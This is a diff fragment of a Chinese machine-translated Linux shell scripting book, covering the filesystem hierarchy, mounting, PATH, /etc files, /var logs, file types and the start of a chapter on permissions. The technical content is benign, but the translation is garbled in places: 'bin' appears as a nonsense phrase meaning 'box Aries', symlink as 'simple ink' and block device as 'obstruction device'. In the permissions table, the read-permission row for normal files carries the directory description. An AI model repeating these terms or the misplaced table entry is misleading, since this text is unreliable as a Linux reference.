默认超级用户,命名为刚`root` -3. 默认超级用户的主目录,在`/root/` - -Often, it is left to the reader to use context to determine which of the three is meant. When talking in the context of filesystems, it will probably be: - -1. 如果它似乎指的是一个*用户*,你可以预期它指的是根用户 -2. 只有当谈到根用户的主目录或`/root/`时,你才应该想到 -3. 大多数情况下,你会遇到根意味着 1 或 2! - -# 顶级目录概述 - -现在我们已经掌握了使用`cd`移动和使用`ls`列出目录内容的基本知识,让我们开始探索文件系统的其他部分。让我们从根文件系统下每个目录的概述开始,如 FHS 所指定的: - -| **位置** | **目的** | -| `/bin/` | 包含普通用户使用的基本**箱**白羊座(=工具) | -| `/boot/` | 包含在**引导**过程中使用的文件:`kernel`、`initramfs`、`bootloader` | -| `/dev/` | 包含用于访问**dev**ice 的特殊文件 | -| `/etc/` | 软件配置文件的默认位置 | -| `/home/` | 包含普通用户的**主目录** | -| `/lib/` | 包含系统**库**库 | -| `/lib64/` | 包含 **64** 位系统 **lib** 稀有 | -| `/media/` | 可移动设备,如 USB 和 DVD 可以在这里找到 | -| `/mnt/` | 默认为空,可用于**挂载**其他文件系统 | -| `/opt/` | 可以安装**选择**软件的目录 | -| `/proc/` | 存储**进程信息的目录** | -| `/root/` | **根**用户的主目录 | -| `/run/` | 包含关于**运行的变量数据**-时间数据,每次启动不同 | -| `/sbin/` | 包含管理用户使用的基本工具 | -| `/srv/` | 将数据放置到服务器的目录 | -| `/sys/` | 包含关于**系统**项目的信息,例如驱动程序和内核特性 | -| `/tmp/` | 用于**临时**或文件的目录,通常在重新启动时清除(因为它存储在内存中,而不是磁盘上) | -| `/usr/` | 包含非必要文件和二进制文件作为只读**用户**数据 | -| `/var/` | 包含**变量**可生存文件,如日志 | - -虽然每一个**顶级目录**都有一个重要的功能,但是有几个我们将更仔细地研究,因为我们无疑会在 shell 脚本中遇到它们。分别是`/bin/`、`/sbin/`、`/usr/`、`/etc/`、`/opt/`、`/tmp/`和`/var/`。 - -# 多重分区呢? - -但首先,我们想简单介绍一些您可能会感到困惑的事情,尤其是如果您来自 Windows 背景,习惯于以`C:\`、`D:\`、`E:\`等形式使用多个磁盘/分区。有了前面的目录结构,以及文件系统最高点在`/`的信息,Linux 如何处理多个磁盘/分区? - -答案其实很简单。Linux *在树结构中的某个地方挂载*文件系统。第一个挂载在我们已经介绍过的主分区上:它挂载在`/`上!让我们看看这看起来如何,同时我们检查出一个新的`df`工具: - -```sh -reader@ubuntu:~$ df -hT -Filesystem Type Size Used Avail Use% Mounted on -udev devtmpfs 464M 0 464M 0% /dev -tmpfs tmpfs 99M 920K 98M 1% /run -/dev/sda2 ext4 9.8G 4.4G 5.0G 47% / -tmpfs tmpfs 493M 0 493M 0% /dev/shm -tmpfs tmpfs 5.0M 0 5.0M 0% /run/lock -tmpfs tmpfs 493M 0 493M 0% /sys/fs/cgroup -/dev/loop0 squashfs 87M 87M 0 100% /snap/core/4917 -/dev/loop1 squashfs 87M 87M 0 100% /snap/core/4486 -/dev/loop2 squashfs 87M 87M 0 100% /snap/core/4830 -tmpfs tmpfs 99M 0 99M 0% /run/user/1000 -``` - -虽然这是`df`(报告文件系统磁盘空间使用情况的*)的大量输出,但最有趣的是之前强调过的:类型为`ext4`的分区`/dev/sda2`(记得吗?)安装在`/`上。您将看到*的预览在本章后面的内容中,一切都是一个文件*:`/dev/sda2`是作为一个文件来处理的,但它实际上是对磁盘上的一个分区(在本例中,是一个虚拟磁盘)的引用。来自我们的 Arch Linux 主机的另一个示例提供了更多信息(如果您没有 Linux 主机,请不要担心,我们稍后会解释):* - -```sh -[root@caladan ~]# df -hT -Filesystem Type Size Used Avail Use% Mounted on -dev devtmpfs 7.8G 0 7.8G 0% /dev -run tmpfs 7.8G 1.5M 7.8G 1% /run -/dev/mapper/vg_caladan-lv_arch_root ext4 50G 29G 19G 60% / -tmpfs tmpfs 7.8G 287M 7.5G 4% /dev/shm -tmpfs tmpfs 7.8G 0 7.8G 0% /sys/fs/cgroup -tmpfs tmpfs 7.8G 212K 7.8G 1% /tmp -/dev/sda1 vfat 550M 97M 453M 18% /boot -tmpfs tmpfs 1.6G 16K 1.6G 1% /run/user/120 -tmpfs tmpfs 1.6G 14M 1.6G 1% /run/user/1000 -/dev/sdc1 vfat 15G 552M 14G 4% /run/media/tammert/ARCH_201803 -/dev/mapper/vg_caladan-lv_data btrfs 10G 17M 9.8G 1% /data -``` - -你可以看到我有一个`ext4`文件系统作为我的根目录。但是,我在`/data/`上还有一个额外的`btrfs`分区,在`/boot/`上还有一个`vfat`引导分区(裸机安装需要,但虚拟机不需要)。最重要的是,还有一个连接了 Arch Linux 安装程序的`vfat` USB 设备,它是在`/run/media/`下自动安装的。因此,Linux 不仅可以优雅地处理多个分区或磁盘,甚至不同类型的文件系统也可以在相同的树结构下并行使用! - -# /bin/、/sbin/、和/usr/ - -让我们回到顶层目录。我们先讨论`/bin/`、`/sbin/`、`/usr/`,因为他们真的很像。如概述中所述,所有这些目录都包含系统的普通用户和管理员使用的二进制文件。让我们看看这些二进制文件在哪里,以及我们的用户会话如何知道如何在这个过程中找到它们。我们将使用`echo`命令对此进行管理。它的简短描述只是显示一行文本。让我们看看它是如何工作的: - -```sh -reader@ubuntu:~$ echo - -reader@ubuntu:~$ echo 'Hello' -Hello -reader@ubuntu:~$ -``` - -如果我们在不传递参数的情况下使用`echo`,将显示一个空行文本(几乎就像简短描述所承诺的那样!).如果我们传递用单引号括起来的文本,该文本将被打印出来。在本文中,包含字母、数字或其他字符的一段文本被称为**字符串**。因此,我们传递到`echo`的任何字符串都将在我们的终端中打印。虽然这看起来没那么有趣,但当你开始考虑**变量**时,这就很有趣了。变量是一个字符串,顾名思义,它的值是不时变化的。让我们使用`echo`打印变量`BASH_VERSION`的当前值: - -```sh -reader@ubuntu:~$ echo BASH_VERSION -BASH_VERSION -reader@ubuntu:~$ echo $BASH_VERSION -4.4.19(1)-release -reader@ubuntu:~$ -``` - -你应该注意到我们没有使用`echo BASH_VERSION`命令,因为那会打印文字文本`BASH_VERSION`,但是我们用一个`$`作为变量名的开头。在 Bash 中,`$`表示我们正在使用一个变量(我们将在[第 8 章](08.html)、*变量和用户输入*中进一步解释*变量*和*变量插值*)。我们为什么要告诉你这些?因为我们可以从终端使用的二进制文件是通过使用一个变量找到的,特别是`PATH`变量: - -```sh -reader@ubuntu:~$ echo $PATH -/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin -reader@ubuntu:~$ -``` - -这里可以看到,二进制文件需要在`/usr/local/sbin/`、`/usr/local/bin/`、`/usr/sbin/`、`/usr/bin/`、`/sbin/`或者`/bin/`目录下,我们才能使用(以`PATH`的当前值,我们可以更改,但目前不在范围内)。这意味着我们一直使用到现在的二进制文件(`cd`、`ls`、`pwd`和`echo`)需要在其中一个目录中,这样我们才能使用它们,对吗?不幸的是,这是事情变得稍微复杂的地方。在 Linux 上,我们基本上使用两种类型的二进制文件:在磁盘上找到的二进制文件(在`PATH`变量指定的目录中),或者它们可以被构建到我们正在使用的 shell 中,然后被称为 *shell 内建程序*。一个很好的例子其实就是我们刚刚学的`echo`命令,两者兼而有之!通过使用`type`,我们可以看到我们正在处理哪种类型的命令: - -```sh -reader@ubuntu:~$ type -a echo -echo is a shell builtin -echo is /bin/echo -reader@ubuntu:~$ type -a cd -cd is a shell builtin -reader@ubuntu:~$ -``` - -如果一个命令既是内置的又是`PATH`中的二进制,则使用该二进制。如果只是以内置的形式出现,如`cd`,则使用内置。一般来说,你使用的大多数命令都是磁盘上的二进制文件,就像在你的`PATH`中找到的一样。此外,这些大部分将出现在`/usr/bin/`目录中(在我们的 Ubuntu 虚拟机上,超过一半的二进制文件出现在`/usr/bin/`!). - -因此,二进制目录的总体目标应该是明确的:为我们提供执行工作所需的工具。问题仍然是,为什么(至少)有六个不同的目录,为什么它们被划分在`bin`和`sbin`之间?问题最后一部分的答案很简单:`bin`有用户使用的普通实用程序,而`sbin`有系统管理员使用的实用程序。在最后一类中,可以找到与磁盘维护、网络配置和防火墙相关的工具。`bin`目录包含用于文件系统操作(如创建和删除文件/目录)、归档和列出系统信息等的实用程序。 - -顶层`/(s)bin/`和`/usr/(s)bin/`的区别有点模糊。一般来说,规则是基本工具在`/(s)bin`中找到,而系统特定的二进制文件放在`/usr/(s)bin`目录中。所以如果你安装了一个运行网络服务器的软件包,它会被放在`/usr/bin/`或者`/usr/sbin/`中,因为它是系统特定的。最后,根据我们的经验,`/usr/local/(s)bin/`目录最常用于手动安装的二进制文件,而不是从包管理器安装的。但是你可以把它们放在`PATH`的任意一个目录下工作;这主要是惯例问题。 - -最后一点,`/usr/`包含的不仅仅是二进制文件。其中有一些库(与`/lib/`和`/lib64/`顶级目录有相同的关系)和一些杂项文件。如果你好奇的话,我们肯定会推荐使用`cd`和`ls`查看`/usr/`目录的其余部分,但是最重要的是要记住**二进制文件**和**库**可以位于此处。 - -# /etc/ - -转到 Linux 文件系统中下一个有趣的顶级目录:`/etc/`目录。发音为 *et-c* 与*等*一样,它用于存储系统软件和用户软件的配置文件。让我们看看它包含了什么: - -```sh -reader@ubuntu:/etc# ls -acpi console-setup ethertypes inputrc logrotate.conf network python3 shadow ucf.conf -...: -``` - -我们将前面的输出剪切到系统的顶部。如果你跟随这个例子(你应该!)您将看到超过 150 个文件和目录。我们将使用`cat`命令打印一个特别有趣的: - -```sh -reader@ubuntu:/etc$ cat fstab -UUID=376cd784-7c8f-11e8-a415-080027a7d0ea / ext4 defaults 0 0 -/swap.img none swap sw 0 0 -reader@ubuntu:/etc$ -``` - -我们在这里看到的是 **f** 文件 **s** 系统**选项卡** le,或`fstab`文件。它包含 Linux 在每次启动时挂载文件系统的指令。正如我们在这里看到的,我们通过分区的**通用唯一标识符** ( **UUID** )来引用分区,并且我们将它挂载在`/`上,作为根文件系统。这是类型`ext4`,安装使用选项`defaults`。最后两个零处理系统启动时的备份和检查。在第二行,我们看到我们使用一个文件作为交换空间。交换用于系统内存不足的情况,这可以通过将其写入磁盘来补偿(但会导致严重的性能损失,因为磁盘比内存慢得多)。 - -`/etc/`目录中另一个有趣的配置文件是`passwd`文件。虽然听起来像是*密码*,但别担心,那些不是储存在那里的。让我们使用`less`命令检查内容: - -```sh -reader@ubuntu:/etc$ less passwd -``` - -这将在所谓的寻呼机中以只读模式打开文件。`less`使用 Vim 命令,按键盘上的 *Q* 即可退出。如果文件比您的屏幕大,您可以使用 Vim 击键上下导航:箭头键或使用 *J* 和 *K* 。当在`less`中时,屏幕应该如下所示: - -```sh -root:x:0:0:root:/root:/bin/bash -daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin -...: -sshd:x:110:65534::/run/sshd:/usr/sbin/nologin -reader:x:1000:1004:Learn Linux Shell Scripting:/home/reader:/bin/bash -``` - -该文件包含系统上所有用户的信息。按顺序,由`:`分隔的字段表示以下内容: - -| 用户名 | 密码 | 用户标识 | 组标识 | 用户真实姓名 | 主目录 | 用户的默认 Shell | - -虽然这里有密码字段,但这是因为遗留原因;(散列!)密码已移动到`/etc/shadow`文件,只能由超级用户 root 读取。我们将在下一章讨论 UID 和 GID 其他领域现在应该都清楚了。 - -这只是在`/etc/`目录中找到的配置文件的两个例子(虽然很重要!). - -# /opt/、/tmp/、和/var/ - -在全新安装的 Ubuntu 上,`/opt/`目录是空的。虽然这也是惯例,但根据我们的经验,这个目录最常用于安装来自发行版包管理器之外的软件。但是,一些安装了包管理器的应用确实对它们的文件使用`/opt/`;这完全是包维护者的偏好问题。在我们的例子中,我们将使用这个目录*来保存我们将要创建的 shell 脚本*,因为这些肯定被归类为可选软件。 - -`/tmp/`目录用于临时文件(谁能猜到?).在一些 Linux 发行版中,`/tmp/`不是根分区的一部分,而是作为单独的 **tmpfs** 文件系统安装的。这种类型的文件系统是在内存中分配的,这意味着`/tmp/`的内容在重启后无法保存。因为我们处理的是临时文件,所以这有时不仅是一个很好的特性,也是特定用途的先决条件。对于一个桌面 Linux 用户来说,这可以用来保存一个只在活动会话期间需要的笔记,而不必担心在完成后清理它。 - -最后`/var/`目录稍微复杂一点。我们来看看: - -```sh -reader@ubuntu:~$ cd /var/ -reader@ubuntu:/var$ ls -l -total 48 -drwxr-xr-x 2 root root 4096 Jul 29 10:14 backups -drwxr-xr-x 10 root root 4096 Jul 29 12:31 cache -drwxrwxrwt 2 root root 4096 Jul 28 10:30 crash -drwxr-xr-x 35 root root 4096 Jul 29 12:30 lib -drwxrwsr-x 2 root staff 4096 Apr 24 08:34 local -lrwxrwxrwx 1 root root 9 Apr 26 19:07 lock -> /run/lock -drwxrwxr-x 10 root syslog 4096 Jul 29 12:30 log -drwxrwsr-x 2 root mail 4096 Apr 26 19:07 mail -drwxr-xr-x 2 root root 4096 Apr 26 19:07 opt -lrwxrwxrwx 1 root root 4 Apr 26 19:07 run -> /run -drwxr-xr-x 3 root root 4096 Jun 30 18:20 snap -drwxr-xr-x 4 root root 4096 Apr 26 19:08 spool -drwxrwxrwt 4 root root 4096 Jul 29 15:04 tmp -drwxr-xr-x 3 root root 4096 Jul 29 12:30 www -reader@ubuntu:/var$ -``` - -如您所见,`/var/`包含许多子目录和一些符号链接(由`->`字符表示)。在这种情况下,`/var/run/`实际上是顶层目录`/run`的快捷方式。`/var/`内最有意思的子目录(目前)是`log/`和`mail/`。 - -`/var/log/`通常用于保存大多数系统和用户进程的日志文件。根据我们的经验,大多数安装在 Linux 系统上的第三方软件都会遵守这个约定,并将日志文件输出到`/var/log/`目录,或者在`/var/log/`中创建一个子目录。让我们看一个使用`less`的日志文件的例子,它有一个完全限定的路径: - -```sh -reader@ubuntu:~$ less /var/log/kern.log -``` - -在`less`寻呼机中,您会遇到类似以下内容的内容: - -```sh -Jun 30 18:20:32 ubuntu kernel: [ 0.000000] Linux version 4.15.0-23-generic (buildd@lgw01-amd64-055) (gcc version 7.3.0 (Ubuntu 7.3.0-16ubuntu3)) #25-Ubuntu SMP Wed May 23 18:02:16 UTC 2018 (Ubuntu 4.15.0-23.25-generic 4.15.18) -Jun 30 18:20:32 ubuntu kernel: [ 0.000000] Command line: BOOT_IMAGE=/boot/vmlinuz-4.15.0-23-generic root=UUID=376cd784-7c8f-11e8-a415-080027a7d0ea ro maybe-ubiquity -Jun 30 18:20:32 ubuntu kernel: [ 0.000000] KERNEL supported cpus: -Jun 30 18:20:32 ubuntu kernel: [ 0.000000] Intel GenuineIntel -Jun 30 18:20:32 ubuntu kernel: [ 0.000000] AMD AuthenticAMD -...: -``` - -该日志文件包含有关内核启动过程的信息。您可以看到对磁盘上实际内核的引用,`/boot/vmlinuz-4.15.0-23-generic`,以及在根目录下挂载的文件系统的 UUID,`UUID=376cd784-7c8f-11e8-a415-080027a7d0ea`。如果您的系统启动有问题,或者某些功能似乎不工作,您可以检查这个文件! - -在 Unix 和 Linux 的早期,发送邮件不仅仅是在互联网上使用(当时还处于初级阶段),还可以在服务器或同一服务器上的用户之间传递消息。在您的新 Ubuntu 虚拟机上,`/var/mail/`目录及其符号链接`/var/spool/mail/`将为空。然而,一旦我们开始讨论调度和日志记录,我们将看到这个目录将用于存储消息。 - -关于默认 Linux 文件系统中顶级目录的简短描述到此结束。在我们看来,我们讨论了与 shell 脚本相关的最重要的问题。然而,随着时间的推移,你会对所有目录有所了解,在 Linux 文件系统上找到任何东西肯定会变得容易得多,尽管现在听起来可能很困难。 - -# 一切都是文件 - -在 Linux 下,有一个广为人知的说法: - -On a Linux system, everything is a file; if something is not a file, it is a process. - -虽然严格来说这并不是 100%正确的,但对于你在 Linux 上遇到的至少 90%的事情来说,这是正确的,如果你还不是很先进的话,这是肯定的。尽管,总的来说,这条规则行得通,但它有一些额外的注释。虽然 Linux 上的大多数东西都是一个文件,但也有不同的文件类型,确切地说有七种。我们将在接下来的几页中讨论它们。你可能不会使用全部七个;然而,对它们有基本的了解会让你对 Linux 有更好的理解,这从来都不是一件坏事! - -# 不同类型的文件 - -这七种类型的文件如下,用 Linux 用来表示它们的字符表示: - -| **类型** | **解释** | -| `-`:正常文件 | 包含文本或字节的常规文件 | -| `d`:目录 | 目录,可以包含其他目录和常规文件 | -| `l` : 简单墨水 | 符号链接,用作快捷方式 | -| `s`:插座 | 用于交流的渠道 | -| `c`:特殊文件 | 主要用于设备处理程序 | -| `b`:闭塞装置 | 表示存储硬件的类型,如磁盘分区 | -| `p`:命名管道 | 用于进程之间相互对话 | - -在这七种文件类型中,您首先会遇到普通文件(`-`)和目录(`d`)。接下来,您可能会与 symlink(`l`)、block devices ( `b`)和特殊文件(`c`)进行更多交互。很少会用到最后两个:插座(`s`)和命名管道(`p`)。 - -遇到最常见文件类型的好地方是在`/dev/`。让我们用`ls`来看看它包含了什么: - -```sh -reader@ubuntu:/dev$ ls -l /dev/ -total 0 -crw-r--r-- 1 root root 10, 235 Jul 29 15:04 autofs -drwxr-xr-x 2 root root 280 Jul 29 15:04 block -drwxr-xr-x 2 root root 80 Jul 29 15:04 bsg -crw-rw---- 1 root disk 10, 234 Jul 29 15:04 btrfs-control -drwxr-xr-x 3 root root 60 Jul 29 15:04 bus -lrwxrwxrwx 1 root root 3 Jul 29 15:04 cdrom -> sr0 -drwxr-xr-x 2 root root 3500 Jul 29 15:04 char -crw------- 1 root root 5, 1 Jul 29 15:04 console -lrwxrwxrwx 1 root root 11 Jul 29 15:04 core -> /proc/kcore -...: -brw-rw---- 1 root disk 8, 0 Jul 29 15:04 sda -brw-rw---- 1 root disk 8, 1 Jul 29 15:04 sda1 -brw-rw---- 1 root disk 8, 2 Jul 29 15:04 sda2 -crw-rw---- 1 root cdrom 21, 0 Jul 29 15:04 sg0 -crw-rw---- 1 root disk 21, 1 Jul 29 15:04 sg1 -drwxrwxrwt 2 root root 40 Jul 29 15:04 shm -crw------- 1 root root 10, 231 Jul 29 15:04 snapshot -drwxr-xr-x 3 root root 180 Jul 29 15:04 snd -brw-rw---- 1 root cdrom 11, 0 Jul 29 15:04 sr0 -lrwxrwxrwx 1 root root 15 Jul 29 15:04 stderr -> /proc/self/fd/2 -lrwxrwxrwx 1 root root 15 Jul 29 15:04 stdin -> /proc/self/fd/0 -lrwxrwxrwx 1 root root 15 Jul 29 15:04 stdout -> /proc/self/fd/1 -crw-rw-rw- 1 root tty 5, 0 Jul 29 17:58 tty -crw--w---- 1 root tty 4, 0 Jul 29 15:04 tty0 -crw--w---- 1 root tty 4, 1 Jul 29 15:04 tty1 -...: -reader@ubuntu:/dev$ -``` - -从您的输出中可以看到,`/dev/`包含许多文件,其中大部分类型如上所述。具有讽刺意味的是,它不包含最常见的文件类型:普通文件。然而,因为我们到现在为止一直在与常规文件交互,所以你应该对它们有一个概念(否则本书的其余部分肯定会*给你一个概念)。* - - *那么,让我们看看除了常规文件之外的其他文件。让我们从最熟悉的开始:目录。任何以`d`开头的行都是一个目录,如果您使用 SSH,很可能也会以不同的颜色表示。不要低估这种视觉辅助的重要性,因为当你在 Linux 机器上导航时,它会节省你很多时间。请记住,您可以通过使用带有相对路径的`cd`或完全限定路径(总是从文件系统的根目录开始)移动到目录中。 - -接下来,您将看到以`b`开头的文件。这些文件用于表示`block`设备,最常见的用法是磁盘设备或分区。在大多数 Linux 发行版中,磁盘通常被称为`/dev/sda`、`/dev/sdb`等等。这些磁盘上的分区用数字表示:`/dev/sda1`、`/dev/sda2`等等。正如您在前面的输出中看到的,我们的系统只有一个磁盘(只有`/dev/sda`)。然而,该磁盘确实有两个分区:`/dev/sda1`和`/dev/sda2`。再次尝试使用`df -hT`,您会注意到`/dev/sda2`作为根文件系统挂载(除非您的虚拟机配置不同,在这种情况下可能是`/dev/sda1`甚至`/dev/sda3`)。 - -符号链接经常在 Linux 上使用。在前面的输出中查看条目`cdrom`,您会看到它以`l`开头。术语`cdrom`有上下文含义:它指的是光盘(或者更有可能,在一个更新的系统中,指的是 DVD)驱动器。但是,它链接到处理交互的实际块设备`/dev/sr0`,这从块设备的`b`开始。使用符号链接可以很容易地找到您需要的项目(磁盘驱动器),同时仍然保留了调用设备处理程序`sr0`的 Linux 配置。 - -最后,您应该会看到一长串名为`tty`的文件。这些由行首的`c`表示,表示特殊文件。为了简单起见,您应该考虑将`tty`作为连接到您的 Linux 服务器的终端。这些是一种虚拟设备,Linux 使用它来允许用户与系统进行交互。许多虚拟和物理设备在 Linux 文件系统上出现时都会使用特殊的文件处理程序。 - -This chapter introduced you to many commands. Perhaps you have gotten sick of typing everything already, perhaps not. In any case, we have some good news: Bash has something called autocomplete. It is something we did not want to introduce to early as to avoid confusion, but it is something that is used so extensively when working with a Linux system that we would be cheating you if we had not explained it. - -It's actually pretty simple: if you hit the *Tab* key after the first part of a command (such as `cd` or `ls`), it will complete your command if it has a single choice, or if you hit *Tab *again, it will present you a list of options. Go to `/`, type `cd`, and press *Tab *twice to see this in action. Moving into the `/home/` directory and pressing *Tab *once (after entering `cd`) will make it autocomplete with the only directory there is, saving you time! - -# 摘要 - -在本章中,我们介绍了 Linux 文件系统的概述。在解释 Linux 文件系统的独特之处之前,我们先简单介绍一下文件系统。讨论了 Ext4、XFS 和 Btrfs 文件系统实现,以及这些文件系统的日志功能。接下来,在详细介绍 Linux 文件系统的更重要的部分之前,我们将从更高的层次解释 Linux 遵循的 FHS。这是通过探索构成 Linux 文件系统的树结构的一部分来完成的。我们解释了不同的文件系统可以并排使用,通过将它们安装在树中的某个地方。我们在这一章的最后解释了(几乎)Linux 上的所有东西都是作为一个文件来处理的,并且我们讨论了所使用的不同文件类型。 - -本章介绍了以下命令:`pwd`、`cd`、`df`、`echo`、`type`、`cat`和`less`。作为提示,解释了 Bash 自动完成功能。 - -# 问题 - -1. 什么是文件系统? -2. 哪些特定于 Linux 的文件系统最常见? -3. 对还是错:在 Linux 上可以同时使用多个文件系统实现? -4. 大多数 Linux 文件系统实现中的日志功能是什么? -5. 根文件系统安装在树中的哪个位置? -6. `PATH`变量是用来做什么的? -7. 根据 FHS,配置文件存储在哪个顶级目录中? -8. 流程日志通常保存在哪里? -9. Linux 有多少种文件类型? -10. Bash 自动完成功能是如何工作的? - -# 进一步阅读 - -如果您想深入了解本章的主题,以下资源可能会很有意思: - -* **Linux 文件系统概述**:[https://www.tldp.org/LDP/intro-linux/html/sect_03_01.html](https://www.tldp.org/LDP/intro-linux/html/sect_03_01.html)** \ No newline at end of file diff --git a/docs/learn-linux-shell-script/05.md b/docs/learn-linux-shell-script/05.md deleted file mode 100644 index af588904..00000000 --- a/docs/learn-linux-shell-script/05.md +++ /dev/null @@ -1,639 +0,0 @@ -# 五、了解 Linux 权限方案 - -在本章中,我们将探讨如何实现 Linux 权限方案。将讨论文件和目录的读、写和执行权限,我们将看到它们如何不同地影响文件和目录。我们将看到多个用户如何使用组一起工作,以及一些文件和目录如何对其他人可用。 - -本章将介绍以下命令:`id`、`touch`、`chmod`、`umask`、`chown`、`chgrp`、`sudo`、`useradd`、`groupadd`、`usermod`、`mkdir`和`su`。 - -本章将涵盖以下主题: - -* 读取、写入和执行 -* 用户、组和其他人 -* 与多个用户一起工作 -* 高级权限 - -# 技术要求 - -我们将使用我们在[第 2 章](02.html)、*设置您的本地环境*中创建的虚拟机来探索 Linux 权限方案。在本章中,我们将向该系统添加新用户,但此时只有作为第一用户(具有管理权限或*根*权限)进行访问就足够了。 - -# 读取、写入和执行 - -在前一章中,我们讨论了 Linux 文件系统以及 Linux 实现*的不同类型。一切都是文件*的理念。但是,我们没有查看这些文件的权限。正如你可能已经猜到的,在一个多用户系统中,比如一个 Linux 服务器,用户可以访问其他用户拥有的文件并不是一个特别好的主意。隐私在哪里? - -就我们而言,Linux 权限方案实际上是 Linux 体验的核心。正如(几乎)所有的东西在 Linux 中都是作为一个文件来处理的一样,所有这些文件都有一套独特的权限。在上一章探索文件系统时,我们将自己限制在每个人或当前登录的用户都可以查看的文件。但是,有许多文件只能由`root`用户查看或写入:通常,这些文件是敏感文件,如`/etc/shadow`(包含所有用户的*哈希*密码),或启动系统时使用的文件,如`/etc/fstab`(决定启动时挂载哪些文件系统)。如果每个人都能编辑这些文件,那么很快就会导致系统无法启动! - -# 读写执行 - -Linux 下的文件权限由三个属性处理: **r** ead、 **w** rite、e **x** ecute 或 RWX。虽然还有其他权限(其中一些我们将在本章后面讨论),但是大多数与权限相关的交互都将由这三个权限处理。尽管这些名称看起来不言自明,但它们在(正常)文件和目录方面的表现却有所不同。下表应说明这一点: - -允许用户使用任何支持此功能的命令查看文件内容,如`vim`、`nano`、`less`、`cat`等。 - -| **许可** | **正常文件上** | **关于目录** | -| 阅读 | 允许用户使用`ls`命令列出目录的内容。这甚至会列出用户没有其他权限的目录中的文件! | 允许用户使用 ls 命令列出目录的内容。这甚至会列出用户没有其他权限的目录中的文件! | -| 写 | 允许用户对文件进行更改。 | 允许用户替换或删除目录中的文件,即使用户对该文件没有直接权限。但是,这不包括目录中所有文件的读取权限! | -| 执行 | 允许用户执行文件。只有当文件是应该被执行的东西时,这才是相关的,例如二进制文件或脚本;否则,该属性不起任何作用。 | 允许用户使用`cd`遍历目录。这是与内容列表分开的许可,但它们几乎总是一起使用;能够列出而不能导航到它(反之亦然)通常是无效的配置。 | - -这个概述应该为三种不同的权限提供基础。请好好看看,看看你是否能完全理解那里呈现的是什么。 - -现在,事情会变得更加复杂。虽然对文件和目录的这些权限显示了对一个用户可以做什么和不能做什么,但是 Linux 如何处理多个用户呢?Linux 如何跟踪文件*所有权*,文件是如何被多个用户共享的? - -# 用户、组和其他人 - -在 Linux 下,每个文件都由一个用户和一个组拥有。每个用户都有一个识别号,即**用户标识** ( **UID** )。同样适用于组:通过**组标识** ( **GID** )进行解析。每个用户正好有一个 UID 和一个*主*GID;但是,用户可以是多个组的成员。在这种情况下,用户将拥有一个或多个补充 GID。您可以通过在您的 Ubuntu 机器上运行`id`命令来亲自看到这一点: - -```sh -reader@ubuntu:~$ id -uid=1000(reader) gid=1004(reader) groups=1004(reader),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lxd),1000(lpadmin),1001(sambashare),1002(debian-tor),1003(libvirtd) -reader@ubuntu:~$ -``` - -在前面的输出中,我们可以看到以下内容: - -* `reader`用户的`uid`是`1000`;Linux 通常在`1000`开始给普通用户编号 -* `gid`为`1004`,对应`reader`组;默认情况下,Linux 会创建一个与用户同名的组(除非明确告知不要这样做) -* 其他组包括`adm`、`sudo`等 - -这是什么意思?当前登录的用户有`1000`的`uid`、`1004`的主`gid`,还有几个辅助组,保证了它有其他权限。例如,在 Ubuntu 下,`cdrom`组允许用户访问磁盘驱动器。`sudo`组允许用户执行管理命令,`adm`组允许用户读取管理文件。 - -While we typically refer to users and groups by name, this is just a representation for the UIDs and GIDs that Linux provides us with. On a system level, only the UID and GIDs are important for permissions. This makes it possible, for example, to have two users with the same username but different UIDs: the permissions for those users will not be the same. The other way around is also possible: two different usernames with the same UID—this causes the permissions for both users to be the same, at least on the UID level. However, both situations are terribly confusing and should not be used! As we'll see later on, using groups to share permissions is by far the best solution for sharing files and directories. - -Another thing to keep in mind is that UIDs and GIDs are *local to the machine*. So if I have a user named bob with UID 1000 on machine A, and UID 1000 is mapped to user alice on machine B, transferring bob's files from machine A to machine B would result in the files being owned by alice on system B! - -前面解释的 RWX 权限与我们现在讨论的用户和组相关。本质上,每个文件(或目录,只是不同类型的文件)都有以下属性: - -* 该文件由拥有(部分)RWX 权限的*用户*拥有 -* 该文件也归*组*所有,该组也拥有(部分)RWX 权限 -* 该文件最终对*其他*拥有 RWX 权限,这意味着所有不共享该组的不同用户 - -要确定用户是否可以读取、写入或执行文件或目录,我们需要查看以下属性(不一定按此顺序): - -* 用户是文件的所有者吗?所有者拥有哪些 RWX 权限? -* 用户是否属于拥有该文件的组?为该组设置了哪些 RWX 权限? -* 文件对*其他*属性是否有足够的权限? - -让我们先看一些简单的例子,以免过于抽象。在虚拟机上,执行以下命令: - -```sh -reader@ubuntu:~$ pwd -/home/reader -reader@ubuntu:~$ ls -l -total 4 --rw-rw-r-- 1 reader reader 69 Jul 14 13:18 nanofile.txt -``` - -```sh -reader@ubuntu:~$ touch testfile -reader@ubuntu:~$ -``` - -首先,我们确保我们在`reader`用户的`home`目录中。如果没有,我们可以使用`cd /home/reader`命令返回那里,或者,只需输入`cd`(没有参数,`cd`默认为用户的`home`目录!).我们继续以长格式列出目录的内容,使用`ls -l`,它向我们显示了一个文件:`nanofile.txt`,来自[第 2 章](02.html)、*设置您的本地环境*(如果您没有跟随那里并且没有文件,请不要担心;我们稍后将创建和操作文件)。我们使用一个新命令`touch`,来创建一个空文件。我们为`touch`指定的参数被解释为文件名,当我们再次列出文件时可以看到: - -```sh -reader@ubuntu:~$ ls -l -total 4 --rw-rw-r-- 1 reader reader 69 Jul 14 13:18 nanofile.txt --rw-rw-r-- 1 reader reader 0 Aug 4 13:44 testfile -reader@ubuntu:~$ -``` - -您将看到权限后跟两个名称:用户名和组名(按此顺序!).对于我们的`testfile`,用户`reader`和`reader`组的成员都可以读写文件,但是不能执行(在`x`的位置上,有一个`-`,表示没有该权限)。所有其他用户,例如那些既不是*阅读器*也不是*阅读器*组的一部分的用户(在这种情况下,该组实际上是所有其他用户),由于其他人的许可,只能读取该文件。下表也对此进行了描述: - -| **文件类型** **(第一个字符)** | **用户权限 -(2 至 4** 第至**个字符) -至** | **组权限 -(5 到 7 个字符) -T7】** | **其他权限 -(8 至 10 个字符)** | **用户所有权** | **集团所有权** | -| -(普通文件) | `rw-`,读写,无执行 | `rw-`,读写,无执行 | `r--`,只读 | 读者 | 读者 | - -如果一个**文件**对所有人都有完全权限,那么它应该是这样的:`-rwxrwxrwx`。对于拥有所有者和组的所有权限,但没有其他权限的文件,将是`-rwxrwx---`。对用户和组拥有完全权限但对其他用户和组没有权限的目录被表示为`drwxrwx---`。 